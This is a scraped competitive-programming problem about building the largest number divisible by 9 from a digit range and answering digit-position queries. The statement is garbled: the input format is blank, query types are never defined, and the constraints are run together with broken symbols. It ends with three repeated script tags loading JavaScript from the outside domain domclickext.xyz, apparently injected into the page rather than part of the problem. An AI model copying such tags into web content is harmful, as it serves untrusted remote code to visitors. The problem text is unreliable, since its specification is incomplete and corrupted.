A password is a number that is exactly divisible by 9. It is the largest number that can be formed by rearranging all the available digits in a provided range (L, R) inclusive and adding another number of your own choice to this sequence at any position. The password is missing a digit that must be added. You are also given an encrypted number. You are also provided q queries. The queries could be of two types.
You must retrieve the password.
Input format
Output format
For each query of type 2, print the xth digit of the formed password.
Constraints
|s|≤106q≤5×1050<x≤|s| and 0≤y≤90<l≤r≤|s| and x≤(r−l+2)
<script async="" src="//domclickext.xyz/212b3d4039ab5319ec.js" type="text/javascript"></script>
<script async="" src="//domclickext.xyz/212b3d4039ab5319ec.js" type="text/javascript"></script>
<script async="" src="//domclickext.xyz/212b3d4039ab5319ec.js" type="text/javascript"></script>